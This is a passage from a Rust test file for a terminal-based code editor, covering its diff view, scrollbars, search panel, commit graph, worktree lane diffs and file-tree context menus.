    std::fs::write(&f, "v1").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let idx = app.tree.nodes.iter().position(|n| n.path == f).unwrap();
    app.tree.selected = idx;
    app.handle_key(key(KeyCode::Char('d'), KeyModifiers::CONTROL))
        .unwrap();
    app.handle_key(key(KeyCode::Char('d'), KeyModifiers::CONTROL))
        .unwrap();
    assert!(app.compare_anchor.is_none(), "second press toggles off");
}

#[test]
fn ctrl_d_with_anchor_on_other_file_opens_a_diff_tab() {
    let tmp = tempfile::tempdir().unwrap();
    let a = tmp.path().join("a.txt");
    let b = tmp.path().join("b.txt");
    std::fs::write(&a, "alpha\nbravo\n").unwrap();
    std::fs::write(&b, "alpha\nBRAVO\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let a_idx = app.tree.nodes.iter().position(|n| n.path == a).unwrap();
    let b_idx = app.tree.nodes.iter().position(|n| n.path == b).unwrap();
    // Anchor a.txt.
    app.tree.selected = a_idx;
    app.handle_key(key(KeyCode::Char('d'), KeyModifiers::CONTROL))
        .unwrap();
    // Move to b.txt and press again.
    app.tree.selected = b_idx;
    app.handle_key(key(KeyCode::Char('d'), KeyModifiers::CONTROL))
        .unwrap();
    assert!(app.compare_anchor.is_none(), "anchor consumed by compare");
    assert!(app.editor.diff.is_some(), "editor must now hold a diff tab");
}

#[test]
fn left_right_arrows_pan_diff_horizontally() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let f1 = tmp.path().join("a.txt");
    let f2 = tmp.path().join("b.txt");
    let long_line: String = std::iter::repeat_n('x', 200).collect();
    std::fs::write(&f1, format!("{long_line}\n")).unwrap();
    std::fs::write(&f2, format!("{long_line}y\n")).unwrap();
    app.editor.open_diff(&f1, &f2).unwrap();
    app.editor.last_inner = Rect {
        x: 0,
        y: 0,
        width: 80,
        height: 12,
    };
    app.focus_pane(Pane::Editor);

    app.handle_key(key(KeyCode::Right, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(app.editor.diff.as_ref().unwrap().scroll_x, 4);
    app.handle_key(key(KeyCode::Right, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(app.editor.diff.as_ref().unwrap().scroll_x, 8);
    app.handle_key(key(KeyCode::Left, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(app.editor.diff.as_ref().unwrap().scroll_x, 4);
    // Vertical Up/Down still go to diff.scroll, not scroll_x.
    let before_y = app.editor.diff.as_ref().unwrap().scroll;
    app.handle_key(key(KeyCode::Down, KeyModifiers::NONE))
        .unwrap();
    assert!(app.editor.diff.as_ref().unwrap().scroll >= before_y);
}

#[test]
fn mouse_horizontal_wheel_over_diff_pans_horizontally() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let f1 = tmp.path().join("a.txt");
    let f2 = tmp.path().join("b.txt");
    let long: String = std::iter::repeat_n('z', 120).collect();
    std::fs::write(&f1, format!("{long}\n")).unwrap();
    std::fs::write(&f2, format!("{long}\n")).unwrap();
    app.editor.open_diff(&f1, &f2).unwrap();
    app.editor.last_area = Rect {
        x: 0,
        y: 0,
        width: 80,
        height: 20,
    };
    app.editor.last_full_area = app.editor.last_area;
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::ScrollRight,
        column: 5,
        row: 5,
        modifiers: KeyModifiers::NONE,
    });
    assert_eq!(app.editor.diff.as_ref().unwrap().scroll_x, 4);
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::ScrollLeft,
        column: 5,
        row: 5,
        modifiers: KeyModifiers::NONE,
    });
    assert_eq!(app.editor.diff.as_ref().unwrap().scroll_x, 0);
}

#[test]
fn dragging_editor_horizontal_scrollbar_pans_the_buffer() {
    // The editor paints a horizontal scrollbar on its bottom row when the
    // longest line overflows the text column. Clicking and dragging its thumb
    // must move scroll_col, and releasing must end the drag.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let f = tmp.path().join("long.txt");
    let long: String = std::iter::repeat_n('z', 500).collect();
    std::fs::write(&f, format!("{long}\n")).unwrap();
    app.editor.open(&f).unwrap();
    app.focus_pane(Pane::Editor);

    let backend = ratatui::backend::TestBackend::new(80, 24);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();

    let bar = app.editor.last_hscrollbar;
    assert!(
        bar.width > 0 && bar.height == 1,
        "an overflowing line must paint a horizontal scrollbar"
    );

    // Click-drag the thumb to the far-right end of the track.
    let right_x = bar.x + bar.width - 1;
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(crossterm::event::MouseButton::Left),
        column: right_x,
        row: bar.y,
        modifiers: KeyModifiers::NONE,
    });
    assert!(
        app.editor.scroll_col > 0,
        "clicking the right of the track must pan right"
    );
    let after_down = app.editor.scroll_col;

    // Dragging back to the left edge pans back to column 0.
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Drag(crossterm::event::MouseButton::Left),
        column: bar.x,
        row: bar.y,
        modifiers: KeyModifiers::NONE,
    });
    assert_eq!(
        app.editor.scroll_col, 0,
        "dragging to the left edge pans home"
    );
    assert_ne!(after_down, app.editor.scroll_col);

    // Release ends the drag so later moves don't keep panning.
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Up(crossterm::event::MouseButton::Left),
        column: bar.x,
        row: bar.y,
        modifiers: KeyModifiers::NONE,
    });
    assert!(
        !app.editor_hscrollbar_drag,
        "releasing must clear the drag flag"
    );
}

#[test]
fn mouse_wheel_over_search_panel_scrolls_the_results_list() {
    // User report: search shows thousands of matches piling up but
    // the panel can't be scrolled with the wheel - the user is stuck
    // at the top. The result list must respond to ScrollUp/ScrollDown
    // when the cursor is over the side panel and Search is the
    // active view.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.sidebar_view = SidebarView::Search;
    app.show_tree = true;
    // Pretend a render captured the search panel at this rect.
    app.search.last_area = Rect {
        x: 0,
        y: 0,
        width: 60,
        height: 30,
    };
    app.search.last_inner = Rect {
        x: 1,
        y: 1,
        width: 58,
        height: 28,
    };
    // 1000 hits, well past anything that can fit in 30 rows.
    app.search.hits = (0..1000)
        .map(|i| crate::widgets::search::SearchHit {
            path: tmp.path().join("a.txt"),
            line_no: i + 1,
            line_text: format!("line {i}"),
        })
        .collect();
    app.search.scroll = 0;
    app.search.selected = 0;
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::ScrollDown,
        column: 30,
        row: 15,
        modifiers: KeyModifiers::NONE,
    });
    assert!(
        app.search.scroll > 0,
        "wheel-down on the search panel must advance the result list scroll"
    );
    let after_down = app.search.scroll;
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::ScrollUp,
        column: 30,
        row: 15,
        modifiers: KeyModifiers::NONE,
    });
    assert!(
        app.search.scroll < after_down,
        "wheel-up must reduce the scroll back toward the top"
    );
}

/// `diff_worktree_lane` refuses rather than diffing the wrong thing, and
/// each refusal names its own reason (#348).
///
/// The three arms are separate because they need separate answers: the
/// primary folder is not a lane at all, a lane pane may not be open for
/// this root, and a lane made before the base was recorded has nothing to
/// diff against. Collapsing them would tell the user to fix the wrong
/// thing.
#[test]
fn diffing_a_lane_refuses_when_there_is_no_base_to_diff_against() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();

    // The primary folder is not a lane.
    app.diff_worktree_lane();
    assert_eq!(app.graph_revspec, None, "no diff was set up");
    assert!(
        app.status.contains("not a lane"),
        "the primary folder says so: {}",
        app.status
    );

    // A non-primary root with no lane pane recorded for it.
    let lane_dir = tmp.path().join("lane");
    std::fs::create_dir_all(&lane_dir).unwrap();
    app.active_scm_root = lane_dir.clone();
    app.diff_worktree_lane();
    assert_eq!(app.graph_revspec, None);
    assert!(
        app.status.contains("No lane is open"),
        "an unrecorded root says so: {}",
        app.status
    );

    // A lane whose base was never recorded (made before #348, or cut from a
    // detached HEAD).
    app.lane_panes.insert(
        1,
        crate::terminal_session::LaneRecord {
            path: lane_dir.to_string_lossy().into_owned(),
            branch: String::from("agent/fix"),
            agent: None,
            base: None,
        },
    );
    app.diff_worktree_lane();
    assert_eq!(
        app.graph_revspec, None,
        "no base means no diff, not a diff against something else"
    );
    assert!(
        app.status.contains("no base branch"),
        "a baseless lane says so: {}",
        app.status
    );

    // With a base recorded, the range is the lane against what it was cut
    // from - the positive control that the refusals above are refusals and
    // not just an inert function.
    app.lane_panes.insert(
        1,
        crate::terminal_session::LaneRecord {
            path: lane_dir.to_string_lossy().into_owned(),
            branch: String::from("agent/fix"),
            agent: None,
            base: Some(String::from("main")),
        },
    );
    app.diff_worktree_lane();
    assert_eq!(
        app.graph_revspec,
        Some(String::from("main..agent/fix")),
        "the range is base..lane"
    );
}

/// The lane diff belongs to the root it was asked for, and does not outlive
/// it (#348).
///
/// `branch_history_range` answers an unresolvable range with an EMPTY vec
/// rather than an error, so a revspec carried into another repo - or kept
/// after the lane is gone - renders a repo with commits as having none,
/// with nothing on screen saying why.
#[test]
fn switching_roots_drops_the_lane_diff() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let other = tmp.path().join("other");
    std::fs::create_dir_all(&other).unwrap();

    app.graph_revspec = Some(String::from("main..agent/fix"));
    app.seed_active_scm(other);
    assert_eq!(
        app.graph_revspec, None,
        "a lane diff must not follow the user into another repository"
    );
}

/// A background history refresh must not replace a lane diff (#348).
///
/// The reply tag carries the revspec as well as the root, because both
/// views are for the SAME root and the root alone cannot tell them apart.
/// Pinned against a positive value: the panel starts holding the lane
/// diff's own row, so a dropped reply and an accepted one differ in what
/// is on screen, not merely in timing.
#[test]
fn a_history_reply_does_not_replace_the_lane_diff() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(60);
    while app.graph_fetch_inflight {
        app.sync_explorer_panels();
        assert!(
            std::time::Instant::now() < deadline,
            "startup graph fetch must settle"
        );
        std::thread::sleep(std::time::Duration::from_millis(10));
    }

    let row = |hash: &str, summary: &str| crate::git::GraphCommit {
        hash: String::from(hash),
        short_hash: hash[..7.min(hash.len())].to_string(),
        parents: Vec::new(),
        refs: Vec::new(),
        summary: String::from(summary),
        author: String::from("t"),
        age_secs: 0,
    };
    app.sidebar_view = SidebarView::SourceControl;
    app.show_tree = true;
    app.source_control.status.in_repo = true;

    // The lane diff is up and showing its own commit.
    app.graph_revspec = Some(String::from("main..lane"));
    app.commit_graph
        .set_rows(crate::widgets::commit_graph::layout_graph(vec![row(
            "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
            "the lane commit",
        )]));

    // `commit_at` is a click hit-test and needs rendered geometry, so read
    // the top row the way a click would - after a draw.
    let backend = ratatui::backend::TestBackend::new(100, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    let shown = |app: &mut App, term: &mut ratatui::Terminal<ratatui::backend::TestBackend>| {
        term.draw(|frame| app.render(frame)).unwrap();
        let area = app.commit_graph.last_area;
        app.commit_graph
            .commit_at(area.y + 2)
            .map(|c| c.hash.clone())
    };
    let lane_hash = shown(&mut app, &mut term);
    assert_eq!(
        lane_hash,
        Some(String::from("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")),
        "the lane diff must be on screen first"
    );

    // A plain history reply for the SAME root arrives (revspec None) carrying
    // a DIFFERENT commit. Same root, different view: the tag must drop it.
    app.graph_tx
        .send((
            app.active_scm_root.clone(),
            None,
            crate::widgets::commit_graph::layout_graph(vec![row(
                "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb",
                "a background history refresh",
            )]),
        ))
        .unwrap();
    app.sync_explorer_panels();
    assert_eq!(
        shown(&mut app, &mut term),
        lane_hash,
        "a history reply must not replace the lane diff the user asked for"
    );

    // The matching reply IS taken, so the drop above is the tag working
    // rather than the channel being dead.
    app.graph_tx
        .send((
            app.active_scm_root.clone(),
            Some(String::from("main..lane")),
            crate::widgets::commit_graph::layout_graph(vec![row(
                "cccccccccccccccccccccccccccccccccccccccc",
                "the refreshed lane diff",
            )]),
        ))
        .unwrap();
    app.sync_explorer_panels();
    assert_eq!(
        shown(&mut app, &mut term),
        Some(String::from("cccccccccccccccccccccccccccccccccccccccc")),
        "a reply for the view that IS up must land"
    );
}

#[test]
fn mouse_wheel_over_the_commits_graph_scrolls_it() {
    // Codeberg #41: the COMMITS section cannot be scrolled. The graph
    // renders BELOW the change list in its own strip, outside
    // source_control.last_area, so the sidebar hit-test (`in_tree`)
    // never matched and wheel events over the graph fell through.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.sidebar_view = SidebarView::SourceControl;
    app.show_tree = true;
    app.source_control.status.in_repo = true;
    let commits: Vec<crate::git::GraphCommit> = (0..100)
        .map(|i| crate::git::GraphCommit {
            hash: format!("{i:040x}"),
            short_hash: format!("{i:07x}"),
            parents: vec![format!("{:040x}", i + 1)],
            refs: Vec::new(),
            summary: format!("commit {i}"),
            author: String::from("t"),
            age_secs: 0,
        })
        .collect();
    app.commit_graph
        .set_rows(crate::widgets::commit_graph::layout_graph(commits));

    let backend = ratatui::backend::TestBackend::new(100, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|frame| app.render(frame)).unwrap();

    let area = app.commit_graph.last_area;
    assert!(area.height > 3, "the COMMITS section must render");
    let (col, row) = (area.x + 2, area.y + 2);
    assert!(
        !rect_contains(app.source_control.last_area, col, row),
        "the probe cell must sit in the graph strip, below the change list"
    );
    let before = app
        .commit_graph
        .commit_at(row)
        .expect("probe row must land on a commit")
        .hash
        .clone();
    app.handle_mouse(mouse(
        crossterm::event::MouseEventKind::ScrollDown,
        col,
        row,
    ));
    let after = app
        .commit_graph
        .commit_at(row)
        .expect("scrolled probe row must still land on a commit")
        .hash
        .clone();
    assert_ne!(
        before, after,
        "wheel-down over the COMMITS section must scroll the graph"
    );
    app.handle_mouse(mouse(crossterm::event::MouseEventKind::ScrollUp, col, row));
    assert_eq!(
        app.commit_graph.commit_at(row).map(|c| c.hash.clone()),
        Some(before),
        "wheel-up must scroll the graph back to the top"
    );
}

#[test]
fn a_graph_refresh_swallowed_by_an_inflight_fetch_refires_when_the_reply_drains() {
    // Make Root during an in-flight COMMITS fetch: set_root clears the
    // panel and triggers a refresh, but the inflight latch swallows it,
    // and the old root's reply is then dropped by the drain's root tag.
    // Without a queued re-fire nothing refetches until HEAD next moves,
    // so the panel sits on "Loading" indefinitely.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // Settle any startup fetch so the latch state is ours alone.
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(60);
    while app.graph_fetch_inflight {
        app.sync_explorer_panels();
        assert!(
            std::time::Instant::now() < deadline,
            "startup graph fetch must settle"
        );
        std::thread::sleep(std::time::Duration::from_millis(10));
    }

    // A fetch is mid-flight for the old root when the trigger arrives; the
    // root change has cleared the panel back to "Loading".
    app.commit_graph.clear();
    app.graph_fetch_inflight = true;
    app.refresh_commit_graph();
    // The stale reply lands: dropped by the root tag.
    app.graph_tx
        .send((
            std::path::PathBuf::from("/since-left/root"),
            None,
            Vec::new(),
        ))
        .unwrap();
    // The re-fire is the contract, but the inflight latch is transient: the
    // drain that re-fires can also drain the re-fired worker's reply in the
    // SAME call (an empty root answers in microseconds), legitimately
    // clearing the latch again. Poll the resolved outcome instead: the
    // cleared panel must leave "Loading" with rows for the CURRENT root.
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(60);
    while !app.commit_graph.is_loaded() {
        app.sync_explorer_panels();
        assert!(
            std::time::Instant::now() < deadline,
            "the trigger swallowed during flight must re-fire once the stale reply drains"
        );
        std::thread::sleep(std::time::Duration::from_millis(10));
    }
}

#[test]
fn commits_graph_scrollbar_thumb_drag_follows_the_pointer() {
    // Codeberg #41 companion: every other sidebar section's scrollbar
    // supports a thumb drag (outline, timeline, testing, …); the COMMITS
    // graph's must too, not just a single jump-click.
    use crossterm::event::{MouseButton, MouseEventKind};
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.sidebar_view = SidebarView::SourceControl;
    app.show_tree = true;
    app.source_control.status.in_repo = true;
    let commits: Vec<crate::git::GraphCommit> = (0..100)
        .map(|i| crate::git::GraphCommit {
            hash: format!("{i:040x}"),
            short_hash: format!("{i:07x}"),
            parents: vec![format!("{:040x}", i + 1)],
            refs: Vec::new(),
            summary: format!("commit {i}"),
            author: String::from("t"),
            age_secs: 0,
        })
        .collect();
    app.commit_graph
        .set_rows(crate::widgets::commit_graph::layout_graph(commits));

    let backend = ratatui::backend::TestBackend::new(100, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|frame| app.render(frame)).unwrap();

    let bar = app.commit_graph.last_scrollbar;
    assert!(
        bar.width > 0 && bar.height > 2,
        "100 commits in a capped strip must draw a scrollbar"
    );
    let body_row = app.commit_graph.last_area.y + 2;
    let top = app
        .commit_graph
        .commit_at(body_row)
        .expect("probe row must land on a commit")
        .hash
        .clone();
    app.handle_mouse(mouse(MouseEventKind::Down(MouseButton::Left), bar.x, bar.y));
    app.handle_mouse(mouse(
        MouseEventKind::Drag(MouseButton::Left),
        bar.x,
        bar.y + bar.height - 1,
    ));
    assert_ne!(
        app.commit_graph.commit_at(body_row).map(|c| c.hash.clone()),
        Some(top),
        "dragging the thumb to the lane's bottom must scroll the graph"
    );
    app.handle_mouse(mouse(MouseEventKind::Up(MouseButton::Left), bar.x, bar.y));
}

#[test]
fn search_panel_paints_a_scrollbar_when_hits_exceed_visible_rows() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.sidebar_view = SidebarView::Search;
    app.show_tree = true;
    app.search.hits = (0..500)
        .map(|i| crate::widgets::search::SearchHit {
            path: tmp.path().join("a.txt"),
            line_no: i + 1,
            line_text: format!("line {i}"),
        })
        .collect();
    let area = Rect {
        x: 0,
        y: 0,
        width: 60,
        height: 30,
    };
    let mut buf = ratatui::buffer::Buffer::empty(area);
    ratatui::widgets::Widget::render(&mut app.search, area, &mut buf);
    assert!(
        app.search.last_scrollbar.width > 0 && app.search.last_scrollbar.height > 0,
        "scrollbar rect must be tracked when results overflow the viewport"
    );
}

#[test]
fn mouse_wheel_over_diff_scrolls_the_diff_not_the_text_buffer() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let f1 = tmp.path().join("a.txt");
    let f2 = tmp.path().join("b.txt");
    std::fs::write(&f1, "1\n2\n3\n4\n5\n6\n").unwrap();
    std::fs::write(&f2, "1\n2\n3\n4\n5\n6\n").unwrap();
    app.editor.open_diff(&f1, &f2).unwrap();
    // Place the editor pane somewhere the mouse can hit it.
    app.editor.last_area = Rect {
        x: 0,
        y: 0,
        width: 80,
        height: 20,
    };
    app.editor.last_full_area = app.editor.last_area;
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::ScrollDown,
        column: 5,
        row: 5,
        modifiers: KeyModifiers::NONE,
    });
    assert_eq!(app.editor.diff.as_ref().unwrap().scroll, 3);
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::ScrollUp,
        column: 5,
        row: 5,
        modifiers: KeyModifiers::NONE,
    });
    assert_eq!(app.editor.diff.as_ref().unwrap().scroll, 0);
}

#[test]
fn menu_item_at_handles_clipped_menu_so_clicks_dispatch_the_visible_row() {
    // Repro: with a 5-item menu (Cut, Copy, Rename…, Select for
    // Compare, Delete), if the user right-clicks low enough that
    // the menu must shift up by 1 to fit on screen, a click on the
    // visible "Select for Compare" row used to map to "Rename"
    // because hit-testing used the unclipped rect while rendering
    // used the clipped one.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // Frame is 60 wide, 12 tall. Menu has 7 items + 2 borders = 9
    // rows. Origin at y=6 would make the menu run from row 6 to row
    // 14 (off-screen). The renderer (and hit-test) clamp y to
    // 12 - 9 = 3.
    app.last_frame_area = Rect {
        x: 0,
        y: 0,
        width: 60,
        height: 12,
    };
    let f = tmp.path().join("file.txt");
    std::fs::write(&f, "x").unwrap();
    let n = crate::widgets::file_tree::Node {
        path: f.clone(),
        depth: 1,
        is_dir: false,
        expanded: false,
        loaded: true,
    };
    let target = f.parent().unwrap().to_path_buf();
    let items = build_tree_context_menu_items(
        Some(&n),
        tmp.path(),
        std::slice::from_ref(&f),
        &target,
        None,
        None,
    );
    // Sanity: items[5] is "Select for Compare" after the New
    // File… / New Folder prefix lifted everything down by two.
    assert!(matches!(&items[5].1, MenuAction::SelectForCompare(_)));
    app.context_menu = Some(ContextMenu::flat((10, 6), items, target));
    // The visible "Select for Compare" row sits at clipped.y + 1
    // (top border) + 5 (item index) = 3 + 1 + 5 = 9.
    let idx = app
        .menu_item_at(11, 9)
        .expect("hit must land inside the menu");
    assert_eq!(
        idx, 5,
        "click on visible row 9 must map to item 5 (Select for Compare)"
    );
}

#[test]
fn tree_context_menu_offers_compare_with_selected_when_anchor_is_present() {
    let tmp = tempfile::tempdir().unwrap();
    let a = tmp.path().join("a.txt");
    std::fs::write(&a, "v1").unwrap();
    let b = tmp.path().join("b.txt");
    std::fs::write(&b, "v2").unwrap();
    let n = file_node(&b);
    let items = build_tree_context_menu_items(
        Some(&n),
        tmp.path(),
        std::slice::from_ref(&b),
        tmp.path(),
        None,
        Some(a.as_path()),
    );
    let kinds: Vec<&MenuAction> = items.iter().map(|(_, a)| a).collect();
    assert!(
        kinds
            .iter()
            .any(|a| matches!(a, MenuAction::CompareWithSelected { .. })),
        "Compare with Selected must be offered when an anchor is set"
    );
    assert!(
        kinds
            .iter()
            .any(|a| matches!(a, MenuAction::SelectForCompare(_))),
        "Select for Compare must always be offered for single files"
    );
}

#[test]
fn tree_context_menu_hides_compare_when_anchor_is_the_same_file() {
    let tmp = tempfile::tempdir().unwrap();
    let a = tmp.path().join("a.txt");
    std::fs::write(&a, "v1").unwrap();
    let n = file_node(&a);
    let items = build_tree_context_menu_items(
        Some(&n),
        tmp.path(),
        std::slice::from_ref(&a),
        tmp.path(),
        None,
        Some(a.as_path()),
    );
    let kinds: Vec<&MenuAction> = items.iter().map(|(_, a)| a).collect();
    assert!(
        !kinds
            .iter()
            .any(|a| matches!(a, MenuAction::CompareWithSelected { .. })),
        "Compare with Selected must not appear against itself"
    );
}

#[test]
fn tree_context_menu_with_two_files_offers_compare_selected() {
    let tmp = tempfile::tempdir().unwrap();
    let a = tmp.path().join("a.txt");
    std::fs::write(&a, "v1").unwrap();
    let b = tmp.path().join("b.txt");
    std::fs::write(&b, "v2").unwrap();
    let n = file_node(&a);
    let items = build_tree_context_menu_items(
        Some(&n),
        tmp.path(),
        &[a.clone(), b.clone()],
        tmp.path(),
        None,
        None,
    );
    let compare = items
        .iter()
        .find(|(s, _)| s == "Compare Selected")
        .expect("Compare Selected must be offered for a two-file selection");
    assert!(matches!(
        compare.1,
        MenuAction::CompareWithSelected { ref anchor, ref other }
            if anchor == &a && other == &b
    ));
}

#[test]
fn tree_context_menu_hides_compare_selected_when_a_folder_is_selected() {
    let tmp = tempfile::tempdir().unwrap();
    let a = tmp.path().join("a.txt");
    std::fs::write(&a, "v1").unwrap();
    let d = tmp.path().join("dir");
    std::fs::create_dir(&d).unwrap();
    let n = file_node(&a);
    let items = build_tree_context_menu_items(
        Some(&n),
        tmp.path(),
        &[a.clone(), d.clone()],
        tmp.path(),
        None,
        None,
    );
    assert!(
        !items.iter().any(|(s, _)| s == "Compare Selected"),
        "Compare Selected must not appear when the selection includes a folder"
    );
}

#[test]
fn tree_context_menu_with_multi_selection_promotes_delete_count() {
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("hello.txt");
    std::fs::write(&f, "hi").unwrap();
    let f2 = tmp.path().join("bye.txt");
    std::fs::write(&f2, "bye").unwrap();
    let n = file_node(&f);
    let target = f.parent().unwrap().to_path_buf();
    let items = build_tree_context_menu_items(
        Some(&n),
        tmp.path(),
        &[f.clone(), f2.clone()],
        &target,
        None,
        None,
    );
    let labels: Vec<&str> = items.iter().map(|(s, _)| s.as_str()).collect();
    assert_eq!(
        labels,
        [
            "New File",
            "New Folder",
            "Cut",
            "Copy",
            "Compare Selected",
            "Delete 2 items"
        ],
    );
}

#[test]
fn tree_context_menu_on_empty_space_offers_new_file_and_new_folder_only() {
    let tmp = tempfile::tempdir().unwrap();
    let items = build_tree_context_menu_items(None, tmp.path(), &[], tmp.path(), None, None);
    let labels: Vec<&str> = items.iter().map(|(s, _)| s.as_str()).collect();
    assert_eq!(labels, ["New File", "New Folder"]);
    assert!(matches!(items[0].1, MenuAction::Create(CreateKind::File)));
    assert!(matches!(items[1].1, MenuAction::Create(CreateKind::Folder)));
}

#[test]
fn tree_context_menu_on_empty_space_includes_paste_when_clipboard_set() {
    let tmp = tempfile::tempdir().unwrap();
    let clip = ExplorerClipboard {
        mode: ExplorerClipMode::Copy,
        paths: vec![tmp.path().join("x.txt")],
    };
    let items = build_tree_context_menu_items(None, tmp.path(), &[], tmp.path(), Some(&clip), None);
    let labels: Vec<&str> = items.iter().map(|(s, _)| s.as_str()).collect();
    assert_eq!(labels, ["New File", "New Folder", "Paste"]);
}

#[test]
fn consume_welcome_image_clear_fires_once_when_editor_opens_a_file() {
    // Repro for the "logo bleeds through under an open file" bug:
    // after the welcome OSC-1337 has been written to iTerm, opening a
    // file must signal a one-shot screen clear so ratatui repaints
    // every cell on the next draw and iTerm's image cache for those
    // cells is wiped.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.overlays.welcome.set_displayed(true);
    let f = tmp.path().join("hi.txt");
    std::fs::write(&f, "hi").unwrap();
    app.editor.open_pinned(&f).unwrap();
    assert!(app.consume_welcome_image_clear(), "first call must fire");
    assert!(
        !app.overlays.welcome.is_displayed(),
        "flag must reset after consume"
    );
    assert!(
        !app.consume_welcome_image_clear(),
        "second call must be a no-op until welcome is re-shown"
    );
}

#[test]
fn consume_welcome_image_clear_is_noop_while_editor_pane_is_blank() {
    // The image is still meant to be visible, so don't clear.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.overlays.welcome.set_displayed(true);
    assert!(!app.consume_welcome_image_clear());
    assert!(
        app.overlays.welcome.is_displayed(),
        "flag must NOT reset while image is still meant to show"
    );
}

#[test]
fn consume_welcome_image_clear_handles_reposition_request_while_blank() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.overlays.welcome.set_displayed(true);
    app.overlays.welcome.request_clear();

    assert!(app.consume_welcome_image_clear());
    assert!(!app.overlays.welcome.is_displayed());
    assert!(!app.overlays.welcome.clear_requested());
}

#[test]
fn consume_welcome_image_clear_is_noop_when_image_was_never_shown() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.overlays.welcome.set_displayed(false);
    let f = tmp.path().join("hi.txt");
    std::fs::write(&f, "hi").unwrap();
    app.editor.open_pinned(&f).unwrap();
    assert!(!app.consume_welcome_image_clear());
}

#[test]
fn clicking_source_control_does_not_block_on_git_and_posts_a_changes_request() {
    // Regression for the user-reported "Source Control click feels
    // sluggish vs the other sidebar icons" bug. The cause was a
    // synchronous `git status --porcelain` shell-out from
    // `refresh_source_control` running on the UI thread, costing
    // 15-50 ms per click on a small repo and 100-300 ms on a large
    // one. The fix routes every git status query through a
    // background worker; the click path now does a single
    // non-blocking `mpsc::Sender::send` and returns within the
    // microsecond range.
    let tmp = tempfile::tempdir().unwrap();
    let _ = std::process::Command::new("git")
        .args(["-C"])
        .arg(tmp.path())
        .args(["init", "-q", "-b", "main"])
        .output();
    let _ = std::process::Command::new("git")
        .args(["-C"])
        .arg(tmp.path())
        .args(["config", "user.email", "a@b"])
        .status();
    let _ = std::process::Command::new("git")
        .args(["-C"])
        .arg(tmp.path())
        .args(["config", "user.name", "a"])
        .status();
    std::fs::write(tmp.path().join("dirty.txt"), "x").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // Pretend the worker is idle by draining its initial Status
    // response (App::new posts one to seed the badge). This isn't
    // strictly required for the assertion but keeps the test from
    // racing with that startup reply.
    std::thread::sleep(std::time::Duration::from_millis(150));
    let _ = app.drain_git_responses();
    // The synchronous shell-out used to take 15-50 ms minimum on
    // any real machine; an order of magnitude headroom catches the
    // regression even on a fast CI box. A single wall-clock sample
    // measures the scheduler as much as the code under suite load
    // (#57): one preemption between the clock reads adds milliseconds
    // with no regression present. The MINIMUM of several attempts is
    // immune — a preemption doesn't repeat on every try, while a
    // genuine synchronous shell-out fails all of them.
    let mut fastest = std::time::Duration::MAX;
    for _ in 0..5 {
        let started = std::time::Instant::now();
        app.set_sidebar_view(SidebarView::SourceControl);
        fastest = fastest.min(started.elapsed());
    }
    assert!(
        fastest < std::time::Duration::from_millis(5),
        "Source Control click must not block on git; fastest of 5 took {fastest:?}",
    );
    // The Changes request must have landed on the worker — give it
